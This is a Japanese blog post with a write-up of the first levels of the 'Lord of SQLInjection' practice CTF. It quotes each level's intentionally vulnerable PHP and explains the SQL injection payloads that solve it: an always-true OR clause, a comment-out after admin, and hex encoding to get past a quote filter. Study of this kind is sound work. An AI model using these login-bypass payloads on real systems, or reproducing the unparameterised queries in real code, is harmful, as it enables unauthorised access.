鶴の徒然

徒然なるままに鶴が書く日記。

長くセキュリティ分野から離れていたので準備運動!

お久しぶりです、約一年ぶりの更新となります。 就活がひと段落したので、Lord of SQLInjectionという常設CTFのようなものを準備運動がてらやってみました。 (絶賛更新中!)

Lord of SQLInjection

ホグワーツで買ったマグカップ(カフェオレ入り)を片手にちょいちょいやっていきます。

忍びの地図マグ

Write Up

Login

Loginのところでめちゃ"No Hack - _ -"って言われて困った。
でもマジで普通に登録&ログインするだけです。難しく考えないほうがいいね!(((

gremlin

まずこのようなコードが書かれた画面に飛びます。

---------------------------------------------------------------------
query : select id from prob_gremlin where id='' and pw=''   
--- ------------------------------------------------------------------ 

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

これはURLに以下を付け足したらいけました。

?pw='or'1'='1`

考察

おそらくカギとなるのは

$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

if($result['id']) solve("gremlin");

なのではないかと思いました。

 ?id='' and pw=''

をそのままURLにくっつけると、

query : select id from prob_gremlin where id=''' and pw=''' and pw=''

と結果が返ってきました。 このことから

id='' 

はひとまずいらないという事がわかります。 となると変更すべき点は

pw=hogehoge

のhogehogeの部分です。そこでベーシックな

?pw='or'1'='1

としたところ解決しました。 ちなみに最後に'が無いのは、

pw=''or'1''='1";

としたいからです。

cobolt

coboltでも同様に下記のようなコードが書かれたページに飛びます。

query : select id from prob_cobolt where id='admin'' and pw=md5('')
------------------------------------------------------------------------------

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

これも先ほどと同様にURLに付け足す問題です。

?id=admin'%23

2022-09-28 追記

#はURLエンコードする必要があります。

上記をそのまま付け足しても正解にならない場合は以下でも正解となります

?id=admin' or '1'='1

考察

まず今回最後に#をいれたのは行末までのコメントアウトとして使用できると、他のかたがたのWrite upで再認識したからです。

それではなぜ

?id=admin'#

SQL Injectionが成功したかですが、今回注目するのは

 if($result['id'] == 'admin') solve("cobolt");

です。
今回はidがadminであれば問題を解くことができるとわかります。
そのため

?id=admin'#

とURLの後ろにつけました。
なお'#はURLエンコーディングしないと、SQL文の一部と認識されないことに注意してください。

goblin

今回は以下のようになっていました。
これは言い訳ですが、全然やってこなかったため、ここら辺から厳しくなってきました......

query : select id from prob_goblin where id='guest' and no=
---------------------------------------------------------------------

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

これに対して私がしたのは

?no=0%20or%20id=0x61646d696e

です。
元の文字列は以下の通りです。

?no=0 or id=admin

考察

no=1'

とすると"No Quotes"と出力される。 引用なしとはどういうことかと思い、すでに解いた問題と比較すると

 $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 

とnoの値が入る部分に差異があります。ただぶっちゃけそのことは気にせず解けました。なので気にせず進みます。
今度は試しに

no=1 or id=admin and id=0

をURLエンコーディングしたものを入れてみると、特にエラーが出ることはなく、admin等が表示されました。('admin'ではない状態)
' を使いたくても使えないので別の方法を使ってみることに。 それがhex表記で送る、というものです。

今回はidをadminにしたいので、adminをhexに変換します。
adminの前に ' 無いのは、それで入力が閉じてしまうからです。(自分がやってしまったので再掲)

61646d696e

ただこれではただの英数字列なので0xを付け足してみましょう。そうすればidの情報が無くても解けるはずです。

?no=0%20or%20id=0x61646d696e

orc

ここからはコードを書かないとしんどいので書いていき....たかったなぁ(遠い目, ちょっとやりたいこととずれてきたため)
とりあえずこれはBlind SQLなので、ちょっとまたやっていく(これ見たかったかたがたごめんなさい)ので、更新はしばしお待ちを。

感想

人によって解き方が違くて、いろんな人のWrite upを眺めてみるのもいいなぁっと感じました。
それと長い間セキュリティ業界離れていましたが、なんだかんだ熱中してしまいますね....!!!

参考